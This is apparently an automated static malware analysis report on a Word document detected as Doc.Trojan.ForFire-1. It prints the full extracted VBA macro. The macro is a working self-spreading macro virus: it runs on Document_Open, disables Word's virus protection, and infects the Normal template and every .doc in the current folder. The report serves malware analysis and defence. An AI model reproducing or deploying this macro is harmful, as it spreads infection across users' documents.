Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16565d29d522c1af…

MALICIOUS

Office (OLE)

28.5 KB Created: 1999-09-12 09:05:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9ba3867cfb75a39d96b10828271889c9 SHA-1: cbab3238bc9cd8afe322c150746369e0a9128c89 SHA-256: 16565d29d522c1afa4f3b3f5692b2943325e54f5291e9030d92b9177d43c2f17
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a malicious VBA macro. The macro is designed to infect other Word documents by copying itself into them when they are opened. The 'Document_Open' subroutine is present and appears to be the primary execution trigger. The macro attempts to disable virus protection and then spreads to other documents in the current directory.

Heuristics 3

  • ClamAV: Doc.Trojan.ForFire-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.ForFire-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1943 bytes
SHA-256: 072edb9003c3ece60fade80e56a879f4be8c0911ea7ffe062ee9a376c2f8225d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
On Error Resume Next
With Options
.VirusProtection = 0
.SaveNormalPrompt = 0
End With
Set a = NormalTemplate
Set c = a.VBProject.VBComponents(1)
Set B = c.CodeModule
Set t = ActiveDocument
Set i = t.VBProject.VBComponents(1)
Set Z = i.CodeModule
If B.Lines(2, 1) <> "On Error Resume Next" Then
B.DeleteLines 1, B.CountOfLines
B.InsertLines 1, Z.Lines(1, Z.CountOfLines)
B.ReplaceLine 1, "Sub Document_Close()"
B.ReplaceLine 30, "Sub AutoExit()"
B.ReplaceLine 43, "Call Document_Close()"
End If
If Z.Lines(2, 1) <> "On Error Resume Next" Then
Z.DeleteLines 1, Z.CountOfLines
Z.InsertLines 1, B.Lines(1, B.CountOfLines)
Z.ReplaceLine 1, "Sub Document_Open()"
Z.ReplaceLine 30, "Sub " & "A" & Day(Now) & "()"
Z.ReplaceLine 43, "Call Document_Open()"
t.SaveAs FileName:=t.FullName, FileFormat:=wdFormatDocument
End If
End Sub

Sub A11()
    On Error Resume Next
Application.WindowState = wdWindowStateMinimize
pName = CurDir & "\"
fName = Dir(pName & "*.doc", sAttr)
If (fName <> "") And ((fName <> ".") And (fName <> "..")) Then InfectDoc = pName & fName
Documents.Open FileName:=InfectDoc, ConfirmConversions:=False, ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:=""
Do While (fName <> "")
fName = Dir()
If (fName <> "") And _
((fName <> ".") And (fName <> "..")) Then
InfectDoc = pName & fName
Documents.Open FileName:=InfectDoc, ConfirmConversions:=False, ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:=""
Call Document_Open
    End If
Loop
'No junk food, just earthly goods
'I ate weird berries in the woods
'Now I 'm seeing colors, I'm getting higher
'I think I'll start a forest fire
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.